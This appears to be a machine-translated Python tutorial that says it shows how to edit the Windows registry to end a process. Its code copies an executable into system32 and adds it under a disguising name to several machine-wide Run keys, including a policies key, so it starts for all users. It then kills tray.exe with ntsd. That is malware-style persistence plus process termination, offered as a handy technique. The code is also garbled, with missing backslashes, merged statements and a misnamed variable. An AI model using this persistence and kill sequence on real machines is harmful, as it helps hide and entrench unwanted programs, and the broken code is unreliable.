This article describes how to modify the registry of python to terminate the process instance. it is a very practical process operation technique, for more information about how to modify the registry and terminate the process in python, see the following example. Share it with you for your reference.
The specific implementation code is as follows:
Import _ winregimport osimport shutil copy your own shutil.copyfile(k3.exe, c: WINDOWSsystem32K3.exe) # Change to its own run = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "Safetray", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # add self-starting self = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # Add all users to start allrun = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "MicrosoftWindowsCurrentVersionpoliciesExplorerRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (allrun, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # terminate the process OS. popen ("ntsd-c q-pn tray.exe cmd ")
I hope this article will help you with Python programming.